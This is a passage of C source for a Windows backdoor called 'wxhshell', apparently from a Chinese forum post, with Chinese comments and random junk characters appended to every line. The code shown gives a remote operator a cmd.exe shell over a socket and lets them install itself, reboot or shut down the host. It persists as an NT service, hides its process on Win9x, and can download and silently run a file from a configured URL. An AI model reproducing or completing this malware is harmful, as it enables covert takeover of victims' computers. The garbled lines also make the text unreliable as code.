  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ov|j{}=L=9  
  } '!I?C/49k  
  else { xH0/R LK3J  
<D^x6{}  
    switch(cmd[0]) { :1=?/8h  
  'KL(A-}!  
  // 帮助 (wfg84  
  case '?': { c`.:"i" k3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }B- A*TI<h  
    break; ah92<'ix  
  } o7+/v70D  
  // 安装 M<)2  
  case 'i': { O>GP>U?]  
    if(Install()) MH?B .2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T42g4j/l~  
    else |-fx 0y   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jveRiW@  
    break; agYK aM1N  
    } B`F82_O  
  // 卸载 r2th6hl~  
  case 'r': { *K(xES! b  
    if(Uninstall()) XbC8t &Q],  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CA4-&O"  
    else C\^K6,m5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t}7wR TG  
    break; WGmCQE[/c  
    } | #Pc e  
  // 显示 wxhshell 所在路径 DVJc-.x8  
  case 'p': { i[pf*W0g  
    char svExeFile[MAX_PATH]; $<4Ar*i  
    strcpy(svExeFile,"\n\r"); {yHfE,  
      strcat(svExeFile,ExeFile); @:&+wq_>A^  
        send(wsh,svExeFile,strlen(svExeFile),0); `<zb  
    break; ,#T3OA!c**  
    } ".%LBs~$  
  // 重启 lt4jnV2"a  
  case 'b': { E/ZJ\@gzD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /wE_eK.  
    if(Boot(REBOOT)) $kma#7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1aAm+  
    else { >@U<?wP  
    closesocket(wsh); %j">&U.[  
    ExitThread(0); fWyDWU  
    } +{%(_ <  
    break; p*,P%tX  
    } xbC8Amo;8"  
  // 关机 ^P/D8cXa4  
  case 'd': { 7omGg~!k(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J'yN' 0  
    if(Boot(SHUTDOWN)) #2jn4>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |WU`p  
    else { ^-GX&ODa  
    closesocket(wsh); d7J[.^\  
    ExitThread(0); &&1Y"dFs  
    } #0g#W  
    break; U;{,lS2l  
    } npcBpGL{  
  // 获取shell CQ.4,S}6'  
  case 's': { s}#[*WOc  
    CmdShell(wsh); |Xm4(FN\  
    closesocket(wsh); 1qj%a%R  
    ExitThread(0); 8EG8!,\I  
    break; 0ITA3v8{  
  } NzAtdcwR  
  // 退出 o+-Ge J  
  case 'x': { u45h{i-e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h:jI  
    CloseIt(wsh); SKSAriS~  
    break; V\K m% vP  
    } +< \cd9  
  // 离开 V87ee,  
  case 'q': { 4zqE?$HM'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |369@un6  
    closesocket(wsh); EB2^]?  
    WSACleanup(); |g\.5IM#W  
    exit(1); m0A@jWgd  
    break; 2x`xyR_Q.R  
        }  %*5g<5  
  } av; (b3Lq  
  } DAMpR3  
lv\F+?]a  
  // 提示信息 FJjF*2 .  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F0BOhlK  
} 86[RH!e  
  } Ag>>B9  
b*FU*)<4.  
  return; >b4YbLkI#  
} /R(U>pZ  
@%G'U&R{  
// shell模块句柄 P96Cw~<Q?  
int CmdShell(SOCKET sock) n$hqNsM  
{ +%e%UF@  
STARTUPINFO si; \9>g;qPg}  
ZeroMemory(&si,sizeof(si)); XU;{28P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0l(E!d8&'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @dE 3  
PROCESS_INFORMATION ProcessInfo; c;b[u:>~-  
char cmdline[]="cmd"; UPVO~hB;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lrmt)BLoh  
  return 0; $dx1[ V+_  
} Y uw E 0  
5&n988g C8  
// 自身启动模式 1&8j3"  
int StartFromService(void) ~4=]%XYz  
{ U5On-T5  
typedef struct s]F?=yEp  
{ {hs2?#p  
  DWORD ExitStatus; ]} 5I>l  
  DWORD PebBaseAddress; T.R>xd`9 "  
  DWORD AffinityMask; (s V]UGrZ  
  DWORD BasePriority; .fLiXx  
  ULONG UniqueProcessId; LM"W)S  
  ULONG InheritedFromUniqueProcessId; 0,1L e$)6  
}   PROCESS_BASIC_INFORMATION; <<7,k f R  
fw1;i  
PROCNTQSIP NtQueryInformationProcess; fR]p+\#8u*  
&# vk4C_8m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5bF9I H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~!3t8Hx6  
.KiPNTh'  
  HANDLE             hProcess; Pg*?[^*  
  PROCESS_BASIC_INFORMATION pbi; "%.|n|  
Njy9JX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lQp89*b?=U  
  if(NULL == hInst ) return 0; E(aX4^]g  
6o[0sM_];  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `G"|MM>P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8Z9MD<RLw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Vr&el  
RlI W&y  
  if (!NtQueryInformationProcess) return 0; 4cXAT9  
_SMT.lG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ht`<XbQ>  
  if(!hProcess) return 0; SE-!|WR  
F9m2C'U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ')AByD}Hi]  
;x!,g5q"q  
  CloseHandle(hProcess); X;s 3y{ku  
BpQ;w,sefq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s0C?Bb}?  
if(hProcess==NULL) return 0; ) >>u|#@z  
bjM-Hd/K  
HMODULE hMod; v?Z'[l  
char procName[255]; R7E]*:0}  
unsigned long cbNeeded; ]uBT &  
T4V[R N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g>6:CG"  
Bl kSWW/  
  CloseHandle(hProcess); K:}h\ In  
W9 n^T+2  
if(strstr(procName,"services")) return 1; // 以服务启动  O]e6i%?  
L/qZ ;{  
  return 0; // 注册表启动 IT8B~I\OY  
} 2. StG(Y!  
$s e !8s"  
// 主模块 06PhrPVa!\  
int StartWxhshell(LPSTR lpCmdLine) L\QQjI{  
{  .LX?VD  
  SOCKET wsl; EG F:xl  
BOOL val=TRUE; Eem 2qKj  
  int port=0; z `\# $  
  struct sockaddr_in door; 5T!&r  
Nawp t%  
  if(wscfg.ws_autoins) Install(); o&CghF  
=L:[cIRrT;  
port=atoi(lpCmdLine); l)}<#Ri  
Q<z)q<e  
if(port<=0) port=wscfg.ws_port; Sv.KI{;v$  
c eqFQ  
  WSADATA data; G!AICcP^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zn?8\  
=fY lzZh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Bfbl#ZkyL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {\P?/U6~f  
  door.sin_family = AF_INET; f&K}IM8& #  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _Mlhum t  
  door.sin_port = htons(port); (&q@~ dJ  
EJO.'vQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vz%"9`r  
closesocket(wsl); H!p!sn  
return 1; *zJD$+Fo  
} CP}0Ri)  
C,[ L/!  
  if(listen(wsl,2) == INVALID_SOCKET) { {PL,VY)Z  
closesocket(wsl); X)I/%{  
return 1; _\p`4-.V  
} )sqaR^  
  Wxhshell(wsl); ',DeP>'%>  
  WSACleanup(); IT,"8 s  
OE6#YT  
return 0; p#)e:/Qy  
AmZuo_  
} VZ;@S3TS  
&.hoC Po$  
// 以NT服务方式启动 =+`D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "@(58nk  
{ ~'(9?81d  
DWORD   status = 0; dZF8 R  
  DWORD   specificError = 0xfffffff; {d8^@UL  
H%FM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ; /=L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S3;lKr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U8E0~[y'  
  serviceStatus.dwWin32ExitCode     = 0; ) 9xX  
  serviceStatus.dwServiceSpecificExitCode = 0; Vfb<o"BQk  
  serviceStatus.dwCheckPoint       = 0; (s&ORoVGn  
  serviceStatus.dwWaitHint       = 0; $kv@tzO  
)q^(T1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  70{RDj6{  
  if (hServiceStatusHandle==0) return; }N@n{bu+  
ATo}FL 2  
status = GetLastError(); n7@j}Q(&?  
  if (status!=NO_ERROR) h:_NA  
{ 6`1k ^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nVNs][  
    serviceStatus.dwCheckPoint       = 0; 3<+z46`?  
    serviceStatus.dwWaitHint       = 0; S3QaYq"v  
    serviceStatus.dwWin32ExitCode     = status; !h?=Wv ==]  
    serviceStatus.dwServiceSpecificExitCode = specificError; Xt\Dy   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2av*o~|J*:  
    return; hw*1gm  
  } 9Kx<\)-GMD  
SijS5irfk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]uAS+shQ&  
  serviceStatus.dwCheckPoint       = 0; Nvhy3  
  serviceStatus.dwWaitHint       = 0; 9]Lo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @\!ww/QT  
} :4U0I:J#  
'P,,<nkr|  
// 处理NT服务事件,比如:启动、停止 *N`;I@Q"[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \x(.d.l/  
{ YlrB@mE0n$  
switch(fdwControl) K\~v&  
{ -nOq\RYV  
case SERVICE_CONTROL_STOP: 2Sjt=LOc="  
  serviceStatus.dwWin32ExitCode = 0; $ 3]b>v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &/iFnYVhy  
  serviceStatus.dwCheckPoint   = 0; a&N%|b K  
  serviceStatus.dwWaitHint     = 0; 'd+:D'  
  { _Yy:s2I8B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9N^+IZ@l  
  } Ajg\aof0{  
  return; V!W1fb7V  
case SERVICE_CONTROL_PAUSE: gd_ ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A*Rn<{U  
  break; M}u1qXa  
case SERVICE_CONTROL_CONTINUE: `/0u{[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IqNpLh|[  
  break; 1TIlINlJ  
case SERVICE_CONTROL_INTERROGATE: UP]1(S?  
  break; `[OXVs,7"  
}; i+1Qf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x^X$M$o,l  
} jFG5)t<D  
5a6VMqQ6  
// 标准应用程序主函数 )@_ugW-j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4~*Y];!Q  
{ |/*pT1(&  
x~z_,':  
// 获取操作系统版本 VVFV8T4  
OsIsNt=GetOsVer(); _[F@1NJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WcU@~05b  
<XvYa{t]{  
  // 从命令行安装 C38%H  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9qre|AA  
IkU|W3Vo  
  // 下载执行文件 SY|Ez!tU:N  
if(wscfg.ws_downexe) { VAs ( .y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1AT'S;`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9T?64t<Ju  
} k2.G%]j  
@mNJ=mEV  
if(!OsIsNt) { S/fW/W*/}  
// 如果时win9x,隐藏进程并且设置为注册表启动 y1#O%=g  
HideProc(); c.0]1  
StartWxhshell(lpCmdLine); ABZ06S/  
} ;_N"Fdl  
else /BKtw8  
  if(StartFromService()) R6<4"?*r  
  // 以服务方式启动 L+t[&1cW  
  StartServiceCtrlDispatcher(DispatchTable); 9~~UM<66W  
else `kPc!I7Y  
  // 普通方式启动 SM<d  
  StartWxhshell(lpCmdLine); ~#Aa Ldq  
N Bz%(? \  
return 0; yl/a:Q  
}
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只看该作者 1 发表于: 2006-10-10
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